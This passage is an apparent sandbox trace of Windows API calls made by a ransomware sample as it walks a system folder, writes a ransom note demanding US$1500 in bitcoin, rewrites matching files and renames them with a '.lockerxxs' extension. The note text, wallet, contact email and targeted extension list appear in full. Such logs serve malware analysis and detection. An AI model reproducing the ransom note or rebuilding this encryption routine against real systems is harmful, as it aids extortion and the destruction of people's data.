ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x52d540, cFileName="0409", cAlternateFileName="")) returned 1 [0129.579] lstrcmpA (lpString1=".", lpString2="0409") returned -1 [0129.579] lstrcmpA (lpString1="..", lpString2="0409") returned -1 [0129.580] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\*.*") returned="*.*" [0129.580] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\", lpString2="0409" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409") returned="C:\\Windows\\inf\\PERFLIB\\0409" [0129.580] lstrlenA (lpString="C:\\Windows\\inf\\PERFLIB\\0409") returned 27 [0129.580] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0129.581] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0129.581] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0129.581] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0129.581] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0129.581] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a74e90b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a74e90b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="perfc.dat", cAlternateFileName="")) returned 1 [0129.581] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.582] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfc.dat") returned -1 [0129.582] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfc.dat") returned -1 [0129.582] lstrcmpiA (lpString1="", lpString2="perfc.dat") returned -1 [0129.582] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\*.*") returned="*.*" [0129.582] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="C:\\Windows\\inf\\PERFLIB\\0409\\" [0129.582] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="" [0129.582] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" [0129.582] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0409\\how to decrypt files.txt")) returned 0xffffffff [0129.582] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0409\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.583] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0129.583] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0129.585] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0129.585] CloseHandle (hObject=0x8c) returned 1 [0129.585] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="perfc.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" [0129.585] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.ems") returned 0 [0129.585] lstrlenA (lpString="*.ems") returned 5 [0129.585] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.db") returned 0 [0129.585] lstrlenA (lpString="*.db") returned 4 [0129.585] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.dbf") returned 0 [0129.585] lstrlenA (lpString="*.dbf") returned 5 [0129.585] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.myox") returned 0 [0129.586] lstrlenA (lpString="*.myox") returned 6 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.myo") returned 0 [0129.586] lstrlenA (lpString="*.myo") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbw") returned 0 [0129.586] lstrlenA (lpString="*.qbw") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbb") returned 0 [0129.586] lstrlenA (lpString="*.qbb") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbm") returned 0 [0129.586] lstrlenA (lpString="*.qbm") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbo") returned 0 [0129.586] lstrlenA (lpString="*.qbo") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbx") returned 0 [0129.586] lstrlenA (lpString="*.qbx") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qba") returned 0 [0129.586] lstrlenA (lpString="*.qba") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qby") returned 0 [0129.586] lstrlenA (lpString="*.qby") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qbj") returned 0 [0129.586] lstrlenA (lpString="*.qbj") returned 5 [0129.586] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.ofx") returned 0 [0129.586] lstrlenA (lpString="*.ofx") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.qif") returned 0 [0129.587] lstrlenA (lpString="*.qif") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.mye") returned 0 [0129.587] lstrlenA (lpString="*.mye") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.mbox") returned 0 [0129.587] lstrlenA (lpString="*.mbox") returned 6 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.eml") returned 0 [0129.587] lstrlenA (lpString="*.eml") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.pst") returned 0 [0129.587] lstrlenA (lpString="*.pst") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.ost") returned 0 [0129.587] lstrlenA (lpString="*.ost") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.idx") returned 0 [0129.587] lstrlenA (lpString="*.idx") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.dbx") returned 0 [0129.587] lstrlenA (lpString="*.dbx") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.sql") returned 0 [0129.587] lstrlenA (lpString="*.sql") returned 5 [0129.587] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.mdb") returned 0 [0129.587] lstrlenA (lpString="*.mdb") returned 5 [0129.588] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.fdb") returned 0 [0129.588] lstrlenA (lpString="*.fdb") returned 5 [0129.588] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.wab") returned 0 [0129.588] lstrlenA (lpString="*.wab") returned 5 [0129.588] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", pszSpec="*.dat") returned 1 [0129.588] lstrlenA (lpString="*.dat") returned 5 [0129.588] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" [0129.588] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" [0129.588] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat." [0129.588] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.lockerxxs" [0129.588] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.591] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b3c [0129.592] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e423fe3, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea)) returned 1 [0129.592] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.592] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7b16, lpOverlapped=0x0) returned 1 [0129.595] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat") returned="perfc.dat" [0129.595] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.596] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7b16, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7b16, lpOverlapped=0x0) returned 1 [0129.596] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.596] CloseHandle (hObject=0x8c) returned 1 [0129.596] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfc.dat.lockerxxs")) returned 1 [0129.597] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a74e90b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a74e90b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7b3c, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfd.dat", cAlternateFileName="")) returned 1 [0129.598] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.598] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfd.dat") returned -1 [0129.598] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfd.dat") returned -1 [0129.598] lstrcmpiA (lpString1="", lpString2="perfd.dat") returned -1 [0129.598] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfc.dat") returned="perfc.dat" [0129.598] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="C:\\Windows\\inf\\PERFLIB\\0409\\" [0129.598] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="" [0129.598] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" [0129.598] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0409\\how to decrypt files.txt")) returned 0x20 [0129.598] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" [0129.598] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.ems") returned 0 [0129.598] lstrlenA (lpString="*.ems") returned 5 [0129.598] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.db") returned 0 [0129.598] lstrlenA (lpString="*.db") returned 4 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.dbf") returned 0 [0129.599] lstrlenA (lpString="*.dbf") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.myox") returned 0 [0129.599] lstrlenA (lpString="*.myox") returned 6 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.myo") returned 0 [0129.599] lstrlenA (lpString="*.myo") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbw") returned 0 [0129.599] lstrlenA (lpString="*.qbw") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbb") returned 0 [0129.599] lstrlenA (lpString="*.qbb") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbm") returned 0 [0129.599] lstrlenA (lpString="*.qbm") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbo") returned 0 [0129.599] lstrlenA (lpString="*.qbo") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbx") returned 0 [0129.599] lstrlenA (lpString="*.qbx") returned 5 [0129.599] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qba") returned 0 [0129.599] lstrlenA (lpString="*.qba") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qby") returned 0 [0129.600] lstrlenA (lpString="*.qby") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qbj") returned 0 [0129.600] lstrlenA (lpString="*.qbj") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.ofx") returned 0 [0129.600] lstrlenA (lpString="*.ofx") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.qif") returned 0 [0129.600] lstrlenA (lpString="*.qif") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.mye") returned 0 [0129.600] lstrlenA (lpString="*.mye") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.mbox") returned 0 [0129.600] lstrlenA (lpString="*.mbox") returned 6 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.eml") returned 0 [0129.600] lstrlenA (lpString="*.eml") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.pst") returned 0 [0129.600] lstrlenA (lpString="*.pst") returned 5 [0129.600] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.ost") returned 0 [0129.601] lstrlenA (lpString="*.ost") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.idx") returned 0 [0129.601] lstrlenA (lpString="*.idx") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.dbx") returned 0 [0129.601] lstrlenA (lpString="*.dbx") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.sql") returned 0 [0129.601] lstrlenA (lpString="*.sql") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.mdb") returned 0 [0129.601] lstrlenA (lpString="*.mdb") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.fdb") returned 0 [0129.601] lstrlenA (lpString="*.fdb") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.wab") returned 0 [0129.601] lstrlenA (lpString="*.wab") returned 5 [0129.601] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", pszSpec="*.dat") returned 1 [0129.601] lstrlenA (lpString="*.dat") returned 5 [0129.601] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" [0129.601] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" [0129.602] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat", lpString2="." | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat." [0129.602] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.lockerxxs") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.lockerxxs" [0129.602] CreateFileA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0129.602] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7b3c [0129.602] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1e423fe3, dwHighDateTime=0x1cbf8ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1a74e90b, dwHighDateTime=0x1cbf8ea)) returned 1 [0129.603] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.603] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7b16, lpOverlapped=0x0) returned 1 [0129.606] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat") returned="perfd.dat" [0129.606] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0129.606] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7b16, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7b16, lpOverlapped=0x0) returned 1 [0129.607] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0129.607] CloseHandle (hObject=0x8c) returned 1 [0129.607] MoveFileA (lpExistingFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat"), lpNewFileName="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat.lockerxxs" (normalized: "c:\\windows\\inf\\perflib\\0409\\perfd.dat.lockerxxs")) returned 1 [0129.611] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1a74e90b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1a74e90b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x471de, dwReserved0=0x4e0204, dwReserved1=0x4e0000, cFileName="perfh.dat", cAlternateFileName="")) returned 1 [0129.611] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0129.611] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="perfh.dat") returned -1 [0129.611] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="perfh.dat") returned -1 [0129.611] lstrcmpiA (lpString1="", lpString2="perfh.dat") returned -1 [0129.611] PathFindFileNameA (pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\perfd.dat") returned="perfd.dat" [0129.611] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="C:\\Windows\\inf\\PERFLIB\\0409\\" [0129.612] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\" | out: pszPath="C:\\Windows\\inf\\PERFLIB\\0409\\") returned="" [0129.612] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" [0129.612] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\PERFLIB\\0409\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\perflib\\0409\\how to decrypt files.txt")) returned 0x20 [0129.612] lstrcatA (in: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\", lpString2="perfh.dat" | out: lpString1="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat") returned="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat" [0129.612] PathMatchSpecA (pszFile="C:\\Windows\\inf\\PERFLIB\\0409\\perfh.dat", pszSpec="*.ems") returned 0 [0129.612] lstrlenA (lpString="*.ems") returned 5 [0129.612] 